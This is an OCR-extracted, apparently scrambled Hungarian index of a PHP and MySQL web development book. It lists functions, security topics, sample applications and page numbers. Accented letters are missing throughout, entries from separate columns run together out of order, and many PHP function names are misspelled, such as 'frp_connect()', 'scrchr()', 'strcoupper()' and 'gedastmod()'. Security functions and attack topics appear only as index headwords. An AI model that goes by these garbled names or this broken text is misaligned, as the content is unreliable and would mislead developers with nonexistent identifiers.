anomlik elkerlse (webes adatbzisok)
145
jogosultsgok 197
tipusai 152
fizets
rekordok 177
rendszerek 420
fizikai biztonsg 242, 263
float adattipus (vltozk) 20
szoftver 256
frisstsi anomlik elkerlse (webes
adatbzisok) 145
f megnyitsi md 41
folyamarbrk
online hrlevelek 478
fjlfeltlts 318
fjlok biztonsgi mentse 313
bejelentkezsek 316
explode() fggvny 79
for ciklusok 37
subsrr() fggvny 80
letltsek 317
feltrelek
foreach ciklusok 37
formrumok
GIF (Graphics Interchange Formar) 332
JPEG (Joint Photographic Experts
Group) 332
elseif utastsok 33
kpek 332
if utasrsok 32
formrurnkdok
kdblokkok 32
kd tagolsa 32
PDF 542
sszehasonltsa 34
switch utastsok 33
PostScript 541
RTF 541
idtllpsek
felrlrs
fjlok 293
biztonsg 295, 298
megelzse 318
formzs
hibakeress 298
HTML 294
HTML formzs 75
karakterlncok 75
megjelentse 297
77
konverzis specifikci 76
ltrim() fggvny 75
megjelentse 76
felgyelet
megjelentshez 75
biztonsg 246
fellerek
Warm Mail alkalmazs (e-mail kliens)
452
Web Services (Amazon) 567
fellrs 114
ferchRow() metdus 192
105
addslashes() 78, 184, 199, 282
nl2br() fggvny 75
admin_felhasznalo_ellenorzese() 486
rtrim() fggvny 75
alkalmazsa tmbelemekre 69
trolshoz 78
altalanos_felhasznalo_ellenorzese()) 486
trim() fggvny 75
array_count_values() 70
array _reverse() 66
forrskd
array_walk() 69
sznkiemelse 364
file_exists() fggvny 50
frum 517
arsorr() 62
asort() 63
autoload() 127
fileinfo kiterjeszts 5
fjlok 519
bejelentkezes_ellenorzese() 486
fastruktra 518
checkdate() 251
Trgymutat
chgrp() 304
set_time_limit() 318
levelezo_fuggvenyek.php 463
chmod() 304
fggvnyvltozk 99
chown() 304
closedir() 299
get_current_user() 363
copy() 304
getenv() 306
krsort() 63
cos() 562
get_extension_funcs() 363
ksort() 62
count() 70
gedastmod() 363
ltrehozsa 98
crypt() 269
ger_loaded_extensions() 363
lisr() 58
csillag_rajzolasa() 562
lista_megjelenitese() 467
current() 69
gertype() 30
!star() 304
date() 16,303,321
formrumkdok 321
explode() 312
trlse 301
ltrim() 75
maii() 74,308
decoct() 303
gethostbyaddr() 312
deklarlsa 98
gethostbyname() 311
md5() 269
dirname() 301,303
germxrr() 311
meghvsa 16,96
disk_free_space{$path) 301
parse_url() 312
doubleval() 199
hatkr 101
each() 58,69
Header() 335,550
paramterek 96
elnevezs 98,372
highlighr_file() 364
prototpusok 96
empty() 31
hirelesitett_felhasznalo_ellenorzese() 461
end() 69
rtkvisszaads 103
70
mysql_connect() 185
mysqli_connect() 382
mysqli_errno() 382
escapeshellcmd() 282,256,306
htmlentities() 252
mysqli_error() 382
eval() 361
html_fejlec_letrehozasa() 466
mysqli_fetch_assoc() 186
exec() 305
htmlspecialchars() 184,252,282
explode() 68, 79
ImageColorAllocate() 334
mysql_selecr_db() 185
extract() 70
ImageCreate() 334
fjlok
ImageCreateFromGIF() 339,340
next() 69
nl2br() 75
thelyezse 304
ImageCreateFromPNG() 339,340
ImageDestroy() 335
ltrehozsa 304
ImageFilledRectangle() 346
opendir() 299
olvassa 302
ImageGetTTFBBox() 340
paramterek 16,99
trtse 304
ImageJPEG() 335
190
fclose() 299
ImageLine() 346
fdf_create() 551
ImagePNG() 339
pdf_add_oudine() 555
fdf_set_file() 551
ImageRectangle() 347
pdf_close() 556
fdf_set_value() 551
imagestring() 334
pdf_csere() 551
fileatime() 303
ImageTTFBBox() 340
pdf_show() 555
filegroup() 302,303
ImageTTFText() 340
pdf_show_xy() 561
filemtime() 303
imap_body() 471
pdf_stringwidth() 561
fileowner() 302,303
imap_delete() 473
phpinfo() 544,306
fileperms() 303
imap_expunge() 473
filesize() 303
imap_fetchheader() 471
posix_getgrgid() 303
filetype() 303
posix_getpwuid() 302,303
fiok_beallitas_megjelenitese() 464
imap_header() 471
postafiok_megnyirasa() 468
fiok_lista_lekerese() 466
imap_headers() 469,471
prev() 69
fiokok_lekerese() 463
implode() 79
print() 75
fiokok_szama() 466
ini_get() 364
printf() 76
fiok_torlese() 465
ini_set() 364
prototpusok 96
fiok_valaszto_megjelenitese() 466
inrval() 68
putenv() 306
fopen() 40,299
frp_connect() 315
is_uploaded_file() 298
range() 56
join() 79
karakterlncok
rename() 304
fjlfeltlts 318
fjlok biztonsgi mentse 313
kpek 347
frp_get() 318
knyvtrak 298,374
reset() 69
rewinddir() 300
rmdir() 302
rsort() 63
frp_mdtm() 316
frp_nlist() 318
FPDF 543
rrrim() 75
frp_size() 318
kimeneti_fuggvenyek.php 461
serialize() 362
ltrehozsa 301
session_set_cookie_params() 350
643
644
Trgymutat
session_unregister() 352
serrype() 30
modulknc 621
sha1() 269
sin() 562
explode() 312
gechostbyaddr() 312
G,Gy
getmxrr() 311
show_source() 364
shuffie() 65
gechostbyname() 311
parse_url() 312
sizeof() 70
sore() 62
sprincf() 76
konfigurlsa 383
TCP/IP biztonsg 233
hardver
stac() 304
strcasecmp() 80
tolvajok 248
scrchr() 82
hromdimenzis tmbk 61
scrcmp() 80
strip_cags() 282
striscr() 82
strlen() 81
strnatcmp() 80
geccype() fggvny 30
strpos() 82
vltozk 22
scrrchr() 82
strrpos() 82
strscr() 82
scrtok() fggvny 79
kulcsprok 284
strtolower() 77
teleptse 283
strcoupper() 77
tesztelse 285
subscr() 80
weboldal 283
helyrellts
adatbzisok 206
hibk
401-es tpus hibk (HTTP) 273
system() 305
trolt
gombok
deklarlsa 213
gomb_lettehozasa.php kd 337
futsidej 380
tbbszrs definils 99
sznei 338
couch() 304
szveg
sznek/bettpusok 336
szveg illesztse gombokra 339
ucfirst() 77
kezelse 138
ucwords() 77
logika 384
uksort() 64
kulcsprok 284
umask() 302
teleptse 283
PHP 5.3 5
unlink() 304
tesztelse 285
programozs 379
unserialize() 362
weboldal 283
grafikonok
usort() 63
adatok 342
uzenet_kuldese() 474
oktatanyagok 348
uzenet_megjelenitese() 470
uzenet_corlese() 473
szoftver
uzenet_visszakeresese() 470
vltozk 30
llapotnak ellenrzse 31
hatkr 101
tpusbelltsi -ellenrzs 30
visszakvets 133
visszatrs fggvnyekbl 103
fastruktrja) 518
gykr csompontok ( webes frum
fastruktrja) 518
gyorsttrazs
Amazon 568
konfigurlsa 480
bejelentkezs 490
Apache 626
hackerek 248
direktvk 38
elnzere 510
PHP
hlzatok
fjlfeltlts 478
Trgymutat
folyamarbrk 478
339
ImageCreate() fuggvny 334
kd architektrja 482
entity 252
formzs (karakterlncok) 75
259
282
PHP begyazsa 13
cmkk (tag) 14
PHP-ben 271
egyni hitelests ltrehozsa 276
fehrkz karakterek 15
megjegyzsek 15
hozzfrs-szablyozs
utastsok 15
rlapok
fjlfeltlts 293
megvalstsa 266
feldolgozsa 12, 13
HTML rlapok
jelszavak 237
kivonatos hitelests (HTTP) 271
mod_auth_mysql modul 275
feldolgozsa 12, 13
htpasswd program (Apache webszerver)
274
httpd.conf 626
tesztelse 275
weboldalak 276
hitelesitert_felhasznalo_ellenorzese()
fuggvny 461
implode() fuggvny 79
importls
PHP-ben 271
indude() utasts 90
hivatkozsok
indexek
adatbzis-optimalizls 205
I,
Details 570
webes frum fasttuktrja 518
hossz stlus rlapvltoz 17
lekrdezsek 205
tmbk 205
idegen kulcsok
adatbzisok 143
IDE (Integrated Development
285
Environment) 375
634
hozzaadKJValasz()fuggvny 612
hozzfrs
id s dtum
MySQL-ben
szmolsok 328
PHP-ben 5, 321
MySQL 149
mikroszekundumok 329
56
.php fjlokhoz val hozzfrs korltozsa
254
naptrfuggvnyek 329
szmolsok 327
vlts PHP s MySQL formturnak
kztr 326
szablyozs (hitelests)
jelszavak 267
megvalstsa 266
if utastsok 32
illeszts
integer adartpusok
regulris kifejezsek 83
karakterkszletek 84
karakterosztlyok 84
rszsztringek
keress s csere 83
illeszrsek
PHP adatbzis-illeszrsek 190
frum) 519
hozzszlk (webes frum) 519
htaccess fjlok (Apache webszerver) 272
vltozk 20
Integrated Development Environment
(IDE) 375
intelligens zenerkld rlap
ltrehozsa 73
Internet
biztonsgos tranzakcik 278
Internet Message Access Protocol (IMAP)
308
Internet Protocol (IP) 280
inti kiterjeszts 5
IP (Internet Protocol) 280
645
646
Trgymutat
rs
hlzari kapcsolatok
fjlok 40,282
futsidej hibk 382
kezelhec kd 371
darabokra bonts 373
keresse 82
szmszer pozcijnak megkeresse 82
rtrim() fggvny 75
sprintf{) fggvny 76
trolsa 78
token 79
fggvnyknyvtrak 374
trim() fggvny 75
knyvtrstruktrk 373
megjegyzsek hasznlata 372
programozsi szablyok 371
tagolsa 373
osztlyok kdjnak megrsa 117
karakterlncok felosztsa
strtok{) fggvny 79
katasztrfaelhrts 247
tervezse 263
karakterek
kszletek 84
kitlt 76
jelszavak 237,245,392
osztlyok 84
adatbzisok
biztonsg 198
elrse 259
vdkarakterek hasznlata 78
karakterlncok 19,75
adattipus (vltozk) 20
biztonsg 252
MySQL 283
egyestse
alkalmazs) 422
kategoria_szerkesztese_urlap.php fjl
(online kosr alkalmazs) 422
kpek
trolsa 198,267
implode{) fggvny 79
titkostsa 198,269
join() fggvny 79
azonosrk
rtkelse 361
felosztsa
explode{) fggvny 79
trlse 335
formturnak 332
GIF (Graphics Incerchange Format)
332
strtok{) fggvny 79
substr{) fggvny 80
formzsa 75
hossznak megllaptsa 81
HTML formzs 75
kis- s nagybets rsmd megvltoztatsa
77
kis- s nagybets rsmdok fggvnyei
77
frisstse 197
konverzis specifikcik 76
GRANT 198
lcrim() fggvny 75
megjelencse 75
sorok kztr
print{) fggvny 76
printf{) fggvny 76
sprintf{) fggvny 76
szveg
mveleri jelek 23
nl2br{) fggvny 75
sszehasontsa 80
tipusai 152
user tbla 194
jpeg-6b
leeltse 331
JPEG (Joint Photographic Expercs Group)
332, 622
Julin-napcr 329
K
kapcsolat bontsa
webes adatbzisok 187
kapcsolatok
boncsa
FTP szerverek 318
strcmp{) fggvny 80
scmaccmp() fggvny 80
rajzolsa/rsa 334
szveg illesztse gombokra 339
tmogatsa PHP-ban 331
krsek
MySQL adatbzis 197
keress s csere
rszsztringek 83
keresfggvnyek
explode{) 312
oszloptipusok 162
hlzatok 310
print{) fggvny 76
hlzatok
printf{) fggvny 76
gethostbyaddr{) 312
rendezse
gethostbynarne() 311
strcasecmp{) fggvny 80
getrnxrr{) 311
strcmp() fggvny 80
parse_url{) 312
scrnaccmp() fggvny 80
rszszcringek
keresztsszekapcsols 172
ksi statikus ktsek 125
cserje 83
ktdimenzis tmbk 59
kezels
Trgymutat
hibk 138
kivrelek 131
kivrelek kivltsa 131
oktatanyagok 138
osztlyok ltrehozsa 133
try blokkok 131
kezelk
continue 215
declare 215
exit 215
kzfogs (handshaking) 280
kifejezsek
keresse 87
regulris 83
karakterkszletek 84
Perl 83
kijelentkezs
Warm Mai! alkalmazs (e-mail kliens)
462
lcijelentkezes.php fjl
online kosr alkalmazs 422
PHPBookmark alkalmazs 393
kijelentkezes.php kd (hitelests) 358
kimenet rtkeinek szrse
vdkarakterekkel 252
kimeneti_fuggvenyek.php fjl
kimeneti_fuggvenyek.php
fggvnyknyvtr 461
MLM alkalmazs 480
PHPBookmark alkalmazs 393
Warm Mai! alkalmazs 453
webes frum 519
kimenet ksztse
kpek 335
kis- s nagybet megklnbztetse
fggvnyek meghivsa 97
karakterlncok 77
MySQL utasrsok 150
kirerjeszts
Exception osztly 133
kiterjesztsek
require() utasts 91
kirerjesztett sznraktika 174
kirlt karakterek 76
kivlaszts
webes adarbzisok 185
kivlts
kivtelek 131
kivtelek 131, 389
Bob autalkatrszek alkalmazs 135
Exception osztly 132
fjlkezels 135
felhasznl ltal meghatrozott kivrelek
133
kivltsa 131
oktatanyagok 138
osztlyok 133
try blokkok 131
trol 374
tbb programoz 37 4
kd kezelhetsge 371
darabokra bonts 373
elnevezs szoksok 371
fggvnyknyvtrak 374
knyvtrsrruktrk 373
megjegyzsek hasznlara 372
programozsi szablyok 371
tagols 373
kdok
elfordtott urasrsok 189
eredmenyek.php 182
gomb_lerrehozasa.php 337
kpek rajzolsa 333
Iciugrs -bl 37
konyv_beszurasa.php 188,446
mysqlhotcopy
adatbzis biztonsgi mentse 206
PHP
MySQL-jelszavak 283
tulajdonos azonosrsa 363
utols mdosts idpontja 363
vgrehajtsa 365
vgrehajts lelltsa 361
webes adarbzisok lekrdezse 184
adarbzisok kivlasztsa 185
adatok hozzadsa 187
beviteli adatok 184
elfordtott urasrsok 189
eredmnyek visszakeresse 186
kapcsolat bellitsa 185
kapcsolat bontsa adatbzisokkal 187
PHP 622
adatbzis-illeszrsek 190
SOAP knyvtrak (Amazon) 568
SOAP 567
konyvtar_tallozas.php fjl 298
koordintk
befogW keretek 340
krnyezetek
fejlesztkrnyezet 375
krnyezeti vltozk
PHP fggvnyek 306
kosr
fejlesztse (Amazon) 567
kosar_megjelenicese() fggvny 434
kosar_megjelenirese.php fjl (online kosr
647
648
Trgymurat
alkalmazs) 422
krsek
ksi statikus ktsek 125
kzepes stlus rlapvltoz 17
kulcsok
fetchRow() 192
list() fliggvny 58
statikus 124
literlok 19
adatbzisok
elsdleges kulcsok 142
idegen kulcsok 143
mezk
tblk 142
Microsofi:
hibk 384
ltrim() fliggvny 75
MIME levelezcsomag
tmbk 56
kulcsszavak
ASC 173
DESC 173
rerurn 103
teleptse 631
alkaimazs) 480
fjlok 480
fejlesztse 477
e-mail 307
maradkkpzs
Ields
L
lthatsg szablyozsa 113
rklds 113
legkisebb jogosulrsg elve 151
leiratkozas() fliggvny 499
lekrdezsek
megakadlyozs
fellrs 115
rklds 115
meghvs
mod_auth_mysql modul
dokumentci weboldala 276
teleptse 275
fliggvnyek 16, 96
kis- s nagybet megklnbztetse 97
prototpusok 96
osztlymetdusok 112
megnyits
indexek 205
fjlfeltlts 478
folyamarbrk 478
mveleti jel 23
fjlok 40
tesztelse 275
mdosts
anomlik elkerlse (webes adatbzisok)
145
utols mdosts idpontja (kdok) 363
mdostsi anomlik elkerlse (webes
adatbzisok) 145
modulok
kd 421
INSERT 187
fopen() fliggvny 41
mod_auth_mysql 275
megnyitsi mdok 40
megnyitsi mdok
fjlok 40
megosztott szolgltatsmegragadssal jr
tmads (D DoS) 234, 262
megvalsts
ajnls 416
rklds 113
jpeg-6b 331
mellkgak
telepts 275
tesztelse 275
PHP futtatsa 621
monitorok
MySQL 150
mkdsi logika 376
elvlasztsa a tartalomtl 376
munkamenetek (session)
megszntetse 351
GROUP BY 174
tllib 332
HAVING 174
vltozk 349
ltrehozs
Book-O-Rama alkalmazs 165
numerikusan indexelt tmbk 56
asszociatv tmbk 57
levl csompontok (webes frum
fastruktrja) 518
levelezo_fuggvenyek.php fjl (Warm Mail
alkalmazs) 453
levelezo_fuggvenyek.php fliggvnyknyvtr
fiokok_lekerese() fliggvny 463
LIKE kulcssz 169
throw 133
WHERE 168
sszehasonlt mveleti jelek 168
trlse 351
mveleti jelek 22
aritmetikai mveleti jelek 23
birmveleti jelek 26
csoportosthatsg 29
metdusok
fellrsa 115
elsbbsgi sorrend 29
ltrehozsa 109
rtkad (
18, 20
bind_param() 190
rtkek visszaadsa 24
_call() 126
Trgymutat
utastsok 150
weboldal 149
karakterlncok
mysqlhotcopy kd 206
mveleci jelek 23
fjlok 544
PDF 550
grankonok 348
RTF 548
oktatanyagok
kivtelkezels 138
N,Ny
olvass
tmbk 59
vgrehajt 27
nem_feliratkozott_listak_lekerese()
fggvny 495
knyvrrakbl 298
online hrlevelek 477
nemzetkziests (alkalmazsok) 5
fjlfeltlts 478
Netcraft: 259
folyamarbrk 478
MySQL
Netscape weboldal
adatbzis 193,196
biztonsgi mentse 242
db tbla 195
eredmenyek.php kd 182
host tbla 196
nvrerek 105
PHP 5.3 5
XML 566
nl2br() fggvny 75
azonosrk 160
bejelentkezs 150
felhasznJk
bellitsa 151
kdmodulok 421
munkamenet-vltozk 419
OOP (objektumorientlt programozs)
elrse ciklusokkal 57
objektumok 107
hozzfrs 149
ltrehozsa 56
osztlyok 107
jelszavak 283
jogosultsgok 151
globlis jogosultsgok 152
GRANT parancs 151
tartalmnak elrse 56
numerikus oszloptpusok
dtum s id 162
fggvnyek 190
opendir() fggvny 299
nyelvek
tpusai 152
OpenSSL
konfigurlsa 624
165
weboldala 622
nyelvi szerkezetek
opercis rendszerek
tbbalaksg 108
Open Database Connectiviry (ODBC)
array() 56
telepts 275
die() 361
tesztelse 275
exit 361
nyilvnos kulcsok
titkosts 239
szintakrika 174
teleptse
binris fjlok 622
O,
Windows 628
objektumok 107
klnozsa 126
tblk 205
tervezse 205
kd 376
Zend Optimizer 377
ORDER BY mellkg 173
649
650
Trgymutat
rklds 108
mysql_dump 206
require() utasts 91
megakadlyozsa 115
REVOKE 154
rvid stlus 14
megvalstsa 113
SHOW 159
SCRIPT stlus 14
parancssor 365
date() fggvny 16
dtum s id 321
hossznak megllaptsa 81
scrcasecmp() fggvny 80
strcmp() fggvny 80
PATH belltsok
stmatcmp() fggvny 80
sszehasonlt mveleti jelek 25
egyenl mveleti jel 25
napcrfggvnyek 329
weboldala 634
fejlesztkrnyezetek 375
forrskd sznkiemelse
(\)
szintaktika 364
fggvnyek
fggvnynevek a kdban 372
teleptse 631
szmolsok 327
Developer's Network Unilied Forums
pdHib.php fjl
idegen kulcsok 14 3
osztlyok 117, 118
miktoszekundumok 329
PCRE kicerjeszts 5
422
CSS 601
perjel
Exception 132
perszanalizls
formturnak
kiterjesztse 133
mecdusok 132
209
highlighc_file() 364
PDF 542
PostScript 541
kivtelek
RTF 541
kvetelmnyek
ltrehozsa 133
kdjnak megrsa 117
szottver 542
ltrehozsa l09
vizsgztatrendszer 542
rklds 108
fjlok 544
fggvnyek meghvsa 16
tervezse 117
futtatsa
tpusjelzs 125
PDF 550
tbbalaksg 108
RTF 548
phar kiterjeszts 5
hlzati keresfggvnyek
635
patarnterek 16, 17
PHP
explode() 312
gethostbyaddr() 312
gethostbyname() 311
getmxrr() 311
parse_url() 312
adacbzis-illesztsek 190
excract() fggvny 70
llandk (konscansok) 21
fggvnyparamterek 99
kpek
fggvnyek meghvsa 96
begyazsa HTML-be 13
cmkk (tag) 14
rajzolfggvnyek 334
fehrkz karakterek 15
formturnak 332
startup 628
megjegyzsek hasznlata 15
parancsok
utastsok 15
GRANT 151
cmkk (tag) 14
mysql 150
ASP stlus 15
332
JPEG (Joint Photographic Expercs
Group) 332
kimenet ksztse 335
Trgymutat
ltrehozsa 333
SPL kiterjeszts 5
sqlite3 kiterjeszts 5
332
rajzvszon ltrehozsa 333
szveg 334
j funkcii 5
pontosvessz (;)
Windows-tmogats 5, 628
tmogatsa 331
kdok 379
szerializls 362
PostScript 541
hibk 387
hibakeress vltozkban 385
MySQL-jelszavak 283
Windows 630
utastsok 15
printf() fggvny 76
vltozk
azonosrk 20
privt kulcsok
konfigurlsa 624
rrkads 20
knyvtrak 622
hatkr 22
mveleti jelek 22
szupergloblis 22
bitmvdeti jelek 26
rpusai 20
programhibk 255
csoporrosrhatsg 29
egyoperandus mveleti jelek 23
rlapvltozk elrse 17
elsbbsgi sorrend 29
ciklusok 35
declare 38
feltteles utastsok 31
kiugrs-bl 37
karakterlncokon alkalmazhat
mveleti jelek 23
logikai mveleti jelek 26
regresszls 255
programok. Lsd mg alkalmazsok
futtats parancssorbl 365
telept (Apache) 629
programozsi hibk 379, 380
XML stlus 14
phplarchitect weboldal
tpusmveleti jel 28
633
tmbmveleti jel 28
fehrkz karakterek 15
megjegyzsek 15
szintaktikai 379
vgrehajt 27
PHP
protokollok 307
cmkk (tag) 14
alkalmazsrtegbeli 280
utastsok 15
PHPBookmark alkalmazs
fjlfeltlts 318
fjlok 393
ltrehozsa 391
fggvnyknyvtrak 393
PHPBuilder.com weboldal
633
a Zend-motor fejlesztsei 5
PHPCommunity weboldal
633
crypt() mkdse-ban 5
(PEAR)
teleptse 631
weboldala 633
hash() mkdse-ban 5
PHPindex.com weboldal
hibajavtsok 5
hibajelents 5
php.ini f.jl
634
id-/drumfggvnyek -ban 5
ind kiterjeszts 5
auto_append_file 95
md5() mkdse-ban 5
auto_prepend_file 95
MySQLnd driverek 5
nvterek 5
PHPMyAdmin.Net weboldal
PCRE kiterjeszts 5
phar kiterjeszts 5
633
544
php.ini adminisztrlsa-ban 5
Reflection kiterjeszts 5
PHPWizard.net weboldal
633
651
652
Trgymurat
rendelsi rlapok
SearchDatabase.com weboldal
feldolgozsa 13
280
(S-HTTP) 279
ltrehozsa 12
vermek 280
segdalkalmazsok
rendezs
prototpusok
karakterlncok
fggvnyek 96
myisamchk 204
strcasecmp() fggvny 80
strcmp() fggvny 80
strnatcmp() fggvny 80
kd 375
633
rendszerek
biztonsgos tranzakcik 279
opercis 198
229
Disks) 242
rajzols
fggvnyek 334
kpek,kdok 333
szveg 334
rajzvszon 338
kpek ltrehozsa 333
634
smk
Book-O-Rama alkalmazs 149
serialize() fggvny 362
session_set_cookie_params() fggvny 350
session_unregister() fggvny 352
set_error_handler() fggvny 389
replikci
adatbzisok 206
slave szerverek 206
settype() fggvny 30
SGML (Standard Generalized Markup
Language) 564
range() fggvny 56
rendszerek) 165
Redundant Array of lnexpensive Disks
(RAID) 242
redunds adatok elkerlse ( webes
adatbzisok) 144
fjlnvkiterjesztsek 91
weboldalsablonok 91
rszsztringek
cserje 83,88
Relleeeion kiterjeszts 5
elrse 80
regisztracios_urlap_megjelenitese()
keresse 81
fggvny 397
regisztracios_urlap.php fjl (PHPBookmark
alkalmazs) 393
regisztracio_uj.php fjl (PHPBookmark
alkalmazs) 393
keress s csere 83
Protocol) 279
Simple Maii Transfer Protocol (SMTP)
308,451
strchr() fggvny 82
stristr() fggvny 82
skalris vltozk 55
strpos() fggvny 82
strrchr() fggvny 82
slave szerverek
regresszls 255
strstr() fggvny 82
replikci 207
regulris kifejezsek 83
karakterek
kszletek 84
osztlyok 84
Perl 83
rekordok
tblk 142
szmszer pozci 82
Amazon 563
knyvtrak 567
PHP SOAP knyvtrak (Amazon) 568
sorok
rtkek 142
elnyei 141
visszaadsa 175
kapcsolatok
r+ megnyitsi md 41
spam 234
SPL kiterjeszts 5
sprintf() fggvny 76
sqlite3 kiterjeszts 5
kulcsok 142
elsdleges kulcsok 142
idegen kulcsok 143
smk 143
S,Sz
ltrehozsa 165
tblkat feltlt kd 166
oszlopok 142
sorok 142
meghatrozsa 165
Book-O-Rama adatbzis
tblk 141
rtkek 142
adatbzisok 167
sablonok
weboldalak 91
Trgymutat
kd 253
ARCHIVE 210
Book-O-Rama adatbzis 166
sznek
gombok 338
columns_priv 194
csv 210
szveg 336
db 194
rendszerek) 165
webes forrsok 634
SSL (Secure Sockets Layer) 233,279, 621
adatok kldse 281
sznkiemels
forrskd 364
szintakcika 379
grant 194
hatkrmezk 195
host 194
ideiglenes 177
protokollvermek 280
InnoDB 210
tesztelse 627
hibk 379
tmrts 281
szaftver
fejleszts 369
frisstse 256
kulcsok 142
elsdleges kulcsok 142
megvltoztatsa 177
MEMORY 209
stluslapok
MERGE 209
MyiSAM 209
CSS 601
stratgik
RTF 542
szolgltatsmegtagadssal jr tmads
(DoS) 234,262
strchr() fggvny 82
strcmp() fggvny 80
srripslashes() fggvny 78,184, 199, 282
szolgltatsok
strlen() fggvny 81
srrnatcmp() fggvny 80
szveg
strpos() fggvny 82
gombok
sznek/bettpusok 336
strrpos() fggvny 83
srrstr() fggvny 82, 412
strtok() fggvny 79
kpek
megnyitsa
fopen() fggvny 41
struktrk
switch utastsok 33
beolvassa 40
rsa 40
szmszer pozci
megnyitsa 40
keresse karakterlncokban 82
megnyitsi mdok 40
alkotelemek 391
kd 32,373
393
tanst szervezetek (CA) 240
tanstvny-alrsi krelem (CSR) 241
trhelyszolgltats 258
trols
adatok. Lsd mg fjlok 39
ltrehozsa 336
strtolower() fggvny 77
user 194
tagols
tag.php fjl (PHPBookmark alkalmazs)
strrchr() fggvny 82
rtkek 142
trlse 179
hozzadsa 308
rendelsek fogadsa 223
knyvtr 373
sorok 142
tables_ptiv 194
substrO fggvny 80
rtkestse 226
stristr() fggvny 82
strtoupper() fggvny 77
oszlopok 142
fasrruktrja) 518
biztonsgos 282
jelszavak 198,267
karakterlncok 78
addslashes() fggvny 78
stripslashes() fggvny 78
redundns adatok (webes adatbzisok)
144
trolmotorok 209
ARCHIVE tblk 210
felhasznJk 391
szupergloblis vltozk 22
szrs
MyiSAM 209
jelszavak 392
knyvjelzk 392
jelszavak 392
knyvjelzk
ajnlsa 392
szerializls 362
szerverek
biztonsgos trolsa 282
biztonsgos webszerverek 240
hitelests 238
szervezs
kurzorok 214
t11ib
letltse 332
tblk
adatbzisok
biztonsgi ments 206
optimalizlsa 205
653
654
Trgymutat
biztonsg 233
telepts
Incemet 278
t megnyitsi md 41
rendszerek 279
tbbalaksg 108
tbbdimenzis tmbk 55
hromdimenzis tmbk 61
ktdimenzis tmbk 59
meghatrozsa 210
MySQL 628
rendezse 63
Repository) 631
PHP ll, 624, 625
rendezsek 63
forditott rendezs 64
vglegestett 210
visszagrgetett 211
trim() fggvny 75, 184
T ripwire weboldal 234
tbbsoros megjegyzsek 16
tbbszri felhasznls, kd
tkrzs
elnyei 89
fjlok
egysgessg 90
kltsg 89
bejelentkezsek 316
megbzhatsg 89
bizalom 225
leeltsek 317
kompatibilits 226
fjlnvkitetjeszcsek 91
termszetes rendezs
weboldal 81
tesztels
GPG (Gnu Privacy Guard) 285
karakterlncok hossza 81
kd 377
tmbk 55
PHP
teleptsek 631
PHP tmogats 626
asszociatv 57
befoglal keretek tartalma 340
elemek 56
U,
regresszls 255
indexek 56
ucfirsc() fggvny 77
SSL 627
ucwords() fggvny 77
uj_hozzaszolas.php fjl
bejrsa ciklusokkal 57
ltrehozsa 56
eartalom elrse 56
tpus
szupergloblis 18
frum) 519
uj_konyvek.txt 209
jelzs 125
bejrsa ciklusokkal 58
ujKonyvjelzoHozzaadasa()fggvny 611
each() fggvny 58
tpusmveleci jel 28
ltrehozsa 57
tpusknyszerts (vltozk) 21
list() fggvny 58
tartalom elrse 57
tbbdimenzis 55
tmrts
SSL (Secure Sockets Layer) 281
trls
adatbzisok 179
tovbbfejlesztsi lehetsgek
kulcsprok 284
telepts 283
tesztelse 285
hash fggvnyek 240
ACID-kompatibilis 210
aucocommit md 210
Trgymutat
audcls 241
hatkr 22
rlapok
szupergloblis 22
tpusai 20
tpuserssg 20
tpusknyszerts 21
hitelests 237
rlapok
vltoz vltozk 21
fenyegetsek 232
hash fggvny 240
vltozk elrse 17
adattpusok 20
rlapvltozk 17
vltozk
jelszavak 237
fggvnyvltozk 99
naplzs 241
helyi vltozk l O l
hibakeress 385
HTML 182,293
alkalmazs) 393
titkosts 238
hitelests 232
utastsok
kockzatai 227
crackerek 227
skalris vltozk 55
tmbk 55
break utasts 38
hardverhiba 228
continue utasts 38
asszociatv tmbk 57
DELETE 179
elemek 56
DESCRIBE 201
indexek 56
szoftverhibk 228
mveleti jelek 59
elfordtott 189
verseny 228
else utastsok 32
kltsgcskkents 227
else if utastsok 33
kompatibilicsa 226
if utastsok 32
hibi 222
include() utasts 90
INSERT 165
150
LOAD_DATA_INFILE 209
tartalmnak elrse 56
tbbdmenzis tmbk 59
trlse 351
valtozok_kiiratasa.php fjl 385
vsrls nyomon kvetse {online kosr
alkalmazs) 419
vasarlas.php fjl {online kosr alkalmazs)
422
vdkarakterek 78
vglegestett tranzakcik 210
vgrehajts
parancssor 365
PHP utastsok 15
tpusai 221
switch utastsok 33
tzfalak 242
visszatrtsi szablyzat 225
zleti weboldalak kockzatai
VeriSign
weboldal 236
VeriSignweboldal 240
verzikvers {code)
crackerek 227
fjlnvkiterjesztsek 91
hardverhiba 228
weboldalsablonok 91
trol 374
SELECT 167
szoftverhibk 228
SHOW 199
verseny 228
SHOWDATABASES 199
SHOWTABLES 200
utlagos cskkents mveleti jel 24
declare 38
feltteles utastsok 31
Iciugrs -bl 37
trolt eljrsok 214
visszaads
rtkek 103
visszagrgetett rranzakcik 211
rtkek hozzrendelse 20
visszatrs
fggvnyek 30
biztonsg 231
adatok biztonsgi mencse 242
llapotnak ellenrzse 31
tpusbelltsi-ellenrzs 30
fggvnyekbl 103
visszatrsi
rtkek 63
655
656
Trgymutat
Magazine 633
fasttuktra 518
naptrfggvnyek 329
Resource 633
WebMonkey.com weboldal
w
W3C weboldal 564
Warm Maii alkalmazs (e-mail kliens)
fjlok 453
fellet 452
!MAP fggvnyknyvtr 451
megolds ttekintse 452
megoldsok
komponensek 451
WBMP (Wireless Bitmap) 332
Webalizet weboldal 223
WeberDev.com weboldal
633
635
webes forrsok
633,634
Apache 634
MySQL s SQL 634
PHP 633
webfejleszts 635
webes frum 517
csomaponc osztly 518
fjlok 519
634
weboldalak
phpauradoc 375
Adobe,FDF 551
PHPBuilder.com 633
PHPCommunity 633
phpdoc 375
Archiver) 242
PHPindex.com 634
Analog 223
PHPMyAdmin.Net 633
ANSI-szabvny 179
PHPWizard.net 633
Apache 622
Poscnuke 634
sablonok 91
CGI-specifikci 306
SearchDatabase.com 634
Codewalkers 634
SourceForge 375,634
378
Srronghold 241
EPA 243
Summary 223
termszetes rendezs 81
FDF 551
Thawte 236,240
Fedex 226
FishCartSQL 450
Tripwire 234
UPS 226
GD dokumentci 348
VeriSign 236,240
W3C 564
hitelests 270
Webalizet 223
WeberDev.com 633
HotScripts.com 634
WebMonkey.com 634
Zend 348
Zend.Com 633
Group) 332
JPEG knyvtr 622
MySQL 149,208,622
dtum- s idfggvnyek 329
online kziknyv 164
Netscape
SSL 3.0 specifikci 289
stik (cookie-k) specifikcija 350
fjlfelelts 295
OpenSSL 622
parancsok 304
webes adatbzis architektrja 147
W HERE mellkg 168
